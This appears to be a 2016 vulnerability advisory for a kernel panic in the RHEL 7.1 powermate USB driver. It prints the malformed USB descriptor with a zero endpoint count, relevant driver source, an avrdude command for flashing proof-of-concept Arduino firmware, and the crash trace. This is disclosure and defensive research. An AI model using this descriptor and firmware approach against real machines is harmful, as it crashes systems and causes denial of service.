Linux powermate Nullpointer Dereference
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (powermate driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of the advisory: https://os-s.net//advisories/
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB
device requiring the powermate driver.
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x77d
idProduct: 0x4aa
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
This is the configuration descriptor containing the malicious value for
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the
system.
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x1
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc
The powermate driver assumes that there will be at least one endpoint-
descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:
****
$ nm powermate.ko.debug | grep powermate_probe
00000000000004b0 t powermate_probe
$ addr2line -e powermate.ko.debug 0x4DB
/usr/src/debug/kernel-3.10.0-
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.
...
498 static inline int usb_endpoint_xfer_int( /* used by usb_endpoint_is_int_in
*/
499 const struct usb_endpoint_descriptor *epd)
500 {
501 return ((epd->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) == /*
Possible Nullpointer-Dereference */
502 USB_ENDPOINT_XFER_INT);
503 }
...
552 static inline int usb_endpoint_is_int_in( /* used by powermate_probe */
553 const struct usb_endpoint_descriptor *epd)
554 {
555 return usb_endpoint_xfer_int(epd) && usb_endpoint_dir_in(epd);
557 }
...
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/misc/powermate.
...
311 endpoint = &interface->endpoint[0].desc; /* Possible Nullpointer */
312 if (!usb_endpoint_is_int_in(
313 return -EIO;
...
****
Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.
References:
https://bugzilla.redhat.com/
Kernel Stacktrace:
[ 73.923745] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 74.136886] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint
descriptors, different from the interface descriptor's value: 0
[ 74.171718] usb 1-1: New USB device found, idVendor=077d, idProduct=04aa
[ 74.178540] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 74.187628] usb 1-1: Product: ĉ
[ 74.192030] usb 1-1: Manufacturer: ĉ
[ 74.198662] usb 1-1: SerialNumber: %
[ 74.247736] BUG: unable to handle kernel NULL pointer dereference at
0000000000000003
[ 74.248023] IP: [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate]
[ 74.248023] PGD 0
[ 74.248023] Oops: 0000 [#1] SMP
[ 74.248023] Modules linked in: powermate(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 74.248023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 74.248023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 74.248023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 74.248023] RIP: 0010:[<ffffffffa03934db>] [<ffffffffa03934db>]
powermate_probe+0x2b/0x490 [powermate]
[ 74.248023] RSP: 0018:ffff88000bd23b90 EFLAGS: 00010286
[ 74.248023] RAX: 0000000000000000 RBX: ffff88000bcd0090 RCX: ffff88000bd23fd8
[ 74.248023] RDX: ffff88000be36008 RSI: ffffffffa0395120 RDI: ffff88000c525800
[ 74.248023] RBP: ffff88000bd23be0 R08: 0000000000000246 R09: 0000000000000000
[ 74.248023] R10: 00000000fffffffb R11: ffffffff810020d8 R12: ffff88000c525800
[ 74.248023] R13: ffffffffa0395068 R14: 0000000000000000 R15: ffff88000bcd0090
[ 74.248023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 74.248023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 74.248023] CR2: 0000000000000003 CR3: 000000000d9c9000 CR4:
00000000000006f0
[ 74.248023] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 74.248023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 74.248023] Stack:
[ 74.248023] 0000000000000246 ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2
[ 74.248023] ffff88000af01800 ffff88000bcd0090 ffff88000bcd0000 ffffffffa0395068
[ 74.248023] ffff88000c525830 ffffffffa0395120 ffff88000bd23c28 ffffffff8141dc04
[ 74.248023] Call Trace:
[ 74.248023] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/
[ 74.248023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/
[ 74.248023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 74.248023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 74.248023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 74.248023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 74.248023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 74.248023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 74.248023] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 74.248023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 74.248023] [<ffffffffa0034000>] ? 0xffffffffa0033fff
[ 74.248023] [<ffffffffa003401e>] powermate_driver_init+0x1e/
[ 74.248023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 74.248023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 74.248023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 74.248023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+
[ 74.248023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 74.248023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 74.248023] Code: 0f 1f 44 00 00 55 41 ba fb ff ff ff 48 89 e5 41 57 41 56 41
55 41 54 49 89 fc 53 48 83 ec 28 48 8b 57 08 4c 8b 7f 30 4c 8b 72 18 <41> 0f
b6 46 03 83 e0 03 3c 03 74 19 48 83 c4 28 44 89 d0 5b 41
[ 74.248023] RIP [<ffffffffa03934db>] powermate_probe+0x2b/0x490 [powermate]
[ 74.248023] RSP <ffff88000bd23b90>
[ 74.248023] CR2: 0000000000000003
[ 74.684308] ---[ end trace b239663354a1c556 ]---
[ 74.690568] Kernel panic - not syncing: Fatal exception
[ 74.691540] drm_kms_helper: panic occurred, switching back to text console
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